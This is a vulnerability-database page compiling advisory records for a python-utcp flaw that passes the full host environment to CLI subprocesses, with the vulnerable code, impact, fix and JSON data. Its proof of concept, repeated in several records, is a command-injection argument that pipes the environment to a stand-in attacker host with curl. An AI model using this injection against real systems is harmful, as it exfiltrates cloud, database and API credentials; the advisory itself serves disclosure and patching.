Vulnerability-Lookup

PYSEC-2026-3395

Vulnerability from pysec - Published: 2026-07-13 15:19 - Updated: 2026-07-13 16:07

Details

Summary

_prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with the Command Injection vulnerability (CWE-78) in _substitute_utcp_args() tracked as GHSA-33p6-5jxp-p3x4, an attacker can exfiltrate all process-level secrets in a single tool call.

Vulnerable Code

# cli_communication_protocol.py
def _prepare_environment(self, provider: CliCallTemplate) -> Dict[str, str]:
    env = os.environ.copy()        # All secrets inherited
    if provider.env_vars:
        env.update(provider.env_vars)
    return env

Impact

Any environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes:

Cloud provider credentials (AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET)
Database connection strings (DATABASE_URL)
LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY)
Internal service tokens

Proof of Concept

# Tool defined as:
{"command": "grep UTCP_ARG_pattern_UTCP_END logfile.txt"}

# Attacker supplies:
tool_args = {"pattern": "x; env | curl -s -d @- https://attacker.com"}

# Executed bash script:
# CMD_0_OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2>&1)
# -> Full env dump sent to attacker including all secrets

Patched

Fixed in utcp-cli 1.1.2. _prepare_environment no longer copies the full host environment. Inheritance is controlled by a new CliCallTemplate.inherit_env_vars field:

null (default): a small built-in OS-specific allowlist (PATH, HOME, LANG on Unix; PATH, PATHEXT, SYSTEMROOT, USERPROFILE, etc. on Windows) is inherited so shells and binaries continue to work.
[]: strict mode -- nothing from the host environment reaches the subprocess; only env_vars is propagated.
["FOO", "BAR"]: exactly those host variables are inherited (replaces, not merges with, the default allowlist).

env_vars is always layered on top and overrides any inherited value. Secrets like OPENAI_API_KEY no longer reach the subprocess unless the call template explicitly opts them in.

Mitigation

Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of stripping secrets from the host process before any CLI tool call.

Credit

Reported by @ZeroXJacks.

Severity

7.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Impacted products

Name	purl
utcp-cli	pkg:pypi/utcp-cli

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "utcp-cli",
        "purl": "pkg:pypi/utcp-cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.0.0",
        "1.0.1",
        "1.0.2",
        "1.1.0",
        "1.1.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45370",
    "GHSA-5v57-8rxj-3p2r"
  ],
  "details": "## Summary\n\n`_prepare_environment()` in `cli_communication_protocol.py` passes a full copy of `os.environ` to every CLI subprocess. When combined with the Command Injection vulnerability (CWE-78) in `_substitute_utcp_args()` tracked as GHSA-33p6-5jxp-p3x4, an attacker can exfiltrate all process-level secrets in a single tool call.\n\n## Vulnerable Code\n\n```python\n# cli_communication_protocol.py\ndef _prepare_environment(self, provider: CliCallTemplate) -\u003e Dict[str, str]:\n    env = os.environ.copy()        # All secrets inherited\n    if provider.env_vars:\n        env.update(provider.env_vars)\n    return env\n```\n\n## Impact\n\nAny environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes:\n\n- Cloud provider credentials (AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET)\n- Database connection strings (DATABASE_URL)\n- LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY)\n- Internal service tokens\n\n## Proof of Concept\n\n```python\n# Tool defined as:\n{\"command\": \"grep UTCP_ARG_pattern_UTCP_END logfile.txt\"}\n\n# Attacker supplies:\ntool_args = {\"pattern\": \"x; env | curl -s -d @- https://attacker.com\"}\n\n# Executed bash script:\n# CMD_0_OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2\u003e\u00261)\n# -\u003e Full env dump sent to attacker including all secrets\n```\n\n## Patched\n\nFixed in `utcp-cli` 1.1.2. `_prepare_environment` no longer copies the full host environment. Inheritance is controlled by a new `CliCallTemplate.inherit_env_vars` field:\n\n- `null` (default): a small built-in OS-specific allowlist (`PATH`, `HOME`, `LANG` on Unix; `PATH`, `PATHEXT`, `SYSTEMROOT`, `USERPROFILE`, etc. on Windows) is inherited so shells and binaries continue to work.\n- `[]`: strict mode -- nothing from the host environment reaches the subprocess; only `env_vars` is propagated.\n- `[\"FOO\", \"BAR\"]`: exactly those host variables are inherited (replaces, not merges with, the default allowlist).\n\n`env_vars` is always layered on top and overrides any inherited value. Secrets like `OPENAI_API_KEY` no longer reach the subprocess unless the call template explicitly opts them in.\n\n## Mitigation\n\nUpgrade to `utcp-cli \u003e= 1.1.2`. There is no workaround in earlier versions short of stripping secrets from the host process before any CLI tool call.\n\n## Credit\n\nReported by @ZeroXJacks.",
  "id": "PYSEC-2026-3395",
  "modified": "2026-07-13T16:07:23.664070Z",
  "published": "2026-07-13T15:19:08.260682Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-5v57-8rxj-3p2r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45370"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/utcp-cli"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-5v57-8rxj-3p2r"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "python-utcp: Full Process Environment Exposed to CLI Subprocess - Secrets Leakage via Command Injection"
}

CVE-2026-45370 (GCVE-0-2026-45370)

Vulnerability from cvelistv5 – Published: 2026-05-14 20:14 – Updated: 2026-05-15 11:23

Title

python-utcp: Full Process Environment Exposed to CLI Subprocess - Secrets Leakage via Command Injection

Summary

python-utcp is the python implementation of UTCP. Prior to 1.1.3, _prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with CVE-2026-45369, an attacker can exfiltrate all process-level secrets in a single tool call. This vulnerability is fixed in 1.1.3.

Severity

7.7 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-15 11:23 UTC

CWE

CWE-526 - Cleartext Storage of Sensitive Information in an Environment Variable

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/universal-tool-calling-protoco…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
universal-tool-calling-protocol	python-utcp	Affected: < 1.1.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-45370",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-15T11:23:35.354622Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-15T11:23:57.596Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-5v57-8rxj-3p2r"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "python-utcp",
          "vendor": "universal-tool-calling-protocol",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.1.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "python-utcp is the python implementation of UTCP. Prior to 1.1.3, _prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with CVE-2026-45369, an attacker can exfiltrate all process-level secrets in a single tool call. This vulnerability is fixed in 1.1.3."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.7,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-526",
              "description": "CWE-526: Cleartext Storage of Sensitive Information in an Environment Variable",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-14T20:14:20.148Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-5v57-8rxj-3p2r",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-5v57-8rxj-3p2r"
        }
      ],
      "source": {
        "advisory": "GHSA-5v57-8rxj-3p2r",
        "discovery": "UNKNOWN"
      },
      "title": "python-utcp: Full Process Environment Exposed to CLI Subprocess - Secrets Leakage via Command Injection"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-45370",
    "datePublished": "2026-05-14T20:14:20.148Z",
    "dateReserved": "2026-05-12T00:51:29.085Z",
    "dateUpdated": "2026-05-15T11:23:57.596Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-5V57-8RXJ-3P2R

Vulnerability from github – Published: 2026-05-14 20:56 – Updated: 2026-05-15 23:47

Summary

python-utcp: Full Process Environment Exposed to CLI Subprocess - Secrets Leakage via Command Injection

Details

Summary

Vulnerable Code

# cli_communication_protocol.py
def _prepare_environment(self, provider: CliCallTemplate) -> Dict[str, str]:
    env = os.environ.copy()        # All secrets inherited
    if provider.env_vars:
        env.update(provider.env_vars)
    return env

Impact

Any environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes:

Cloud provider credentials (AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET)
Database connection strings (DATABASE_URL)
LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY)
Internal service tokens

Proof of Concept

# Tool defined as:
{"command": "grep UTCP_ARG_pattern_UTCP_END logfile.txt"}

# Attacker supplies:
tool_args = {"pattern": "x; env | curl -s -d @- https://attacker.com"}

# Executed bash script:
# CMD_0_OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2>&1)
# -> Full env dump sent to attacker including all secrets

Patched

Fixed in utcp-cli 1.1.2. _prepare_environment no longer copies the full host environment. Inheritance is controlled by a new CliCallTemplate.inherit_env_vars field:

null (default): a small built-in OS-specific allowlist (PATH, HOME, LANG on Unix; PATH, PATHEXT, SYSTEMROOT, USERPROFILE, etc. on Windows) is inherited so shells and binaries continue to work.
[]: strict mode -- nothing from the host environment reaches the subprocess; only env_vars is propagated.
["FOO", "BAR"]: exactly those host variables are inherited (replaces, not merges with, the default allowlist).

env_vars is always layered on top and overrides any inherited value. Secrets like OPENAI_API_KEY no longer reach the subprocess unless the call template explicitly opts them in.

Mitigation

Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of stripping secrets from the host process before any CLI tool call.

Credit

Reported by @ZeroXJacks.

Severity

7.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "utcp-cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45370"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-526"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:56:07Z",
    "nvd_published_at": "2026-05-14T21:16:48Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`_prepare_environment()` in `cli_communication_protocol.py` passes a full copy of `os.environ` to every CLI subprocess. When combined with the Command Injection vulnerability (CWE-78) in `_substitute_utcp_args()` tracked as GHSA-33p6-5jxp-p3x4, an attacker can exfiltrate all process-level secrets in a single tool call.\n\n## Vulnerable Code\n\n```python\n# cli_communication_protocol.py\ndef _prepare_environment(self, provider: CliCallTemplate) -\u003e Dict[str, str]:\n    env = os.environ.copy()        # All secrets inherited\n    if provider.env_vars:\n        env.update(provider.env_vars)\n    return env\n```\n\n## Impact\n\nAny environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes:\n\n- Cloud provider credentials (AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET)\n- Database connection strings (DATABASE_URL)\n- LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY)\n- Internal service tokens\n\n## Proof of Concept\n\n```python\n# Tool defined as:\n{\"command\": \"grep UTCP_ARG_pattern_UTCP_END logfile.txt\"}\n\n# Attacker supplies:\ntool_args = {\"pattern\": \"x; env | curl -s -d @- https://attacker.com\"}\n\n# Executed bash script:\n# CMD_0_OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2\u003e\u00261)\n# -\u003e Full env dump sent to attacker including all secrets\n```\n\n## Patched\n\nFixed in `utcp-cli` 1.1.2. `_prepare_environment` no longer copies the full host environment. Inheritance is controlled by a new `CliCallTemplate.inherit_env_vars` field:\n\n- `null` (default): a small built-in OS-specific allowlist (`PATH`, `HOME`, `LANG` on Unix; `PATH`, `PATHEXT`, `SYSTEMROOT`, `USERPROFILE`, etc. on Windows) is inherited so shells and binaries continue to work.\n- `[]`: strict mode -- nothing from the host environment reaches the subprocess; only `env_vars` is propagated.\n- `[\"FOO\", \"BAR\"]`: exactly those host variables are inherited (replaces, not merges with, the default allowlist).\n\n`env_vars` is always layered on top and overrides any inherited value. Secrets like `OPENAI_API_KEY` no longer reach the subprocess unless the call template explicitly opts them in.\n\n## Mitigation\n\nUpgrade to `utcp-cli \u003e= 1.1.2`. There is no workaround in earlier versions short of stripping secrets from the host process before any CLI tool call.\n\n## Credit\n\nReported by @ZeroXJacks.",
  "id": "GHSA-5v57-8rxj-3p2r",
  "modified": "2026-05-15T23:47:02Z",
  "published": "2026-05-14T20:56:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-5v57-8rxj-3p2r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45370"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "python-utcp: Full Process Environment Exposed to CLI Subprocess - Secrets Leakage via Command Injection"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

PYSEC-2026-3395

Summary

Vulnerable Code

Impact

Proof of Concept

Patched

Mitigation

Credit

CVE-2026-45370 (GCVE-0-2026-45370)

GHSA-5V57-8RXJ-3P2R

Summary

Vulnerable Code

Impact

Proof of Concept

Patched

Mitigation

Credit

Tags

Sightings

Nomenclature

Related by attack behaviour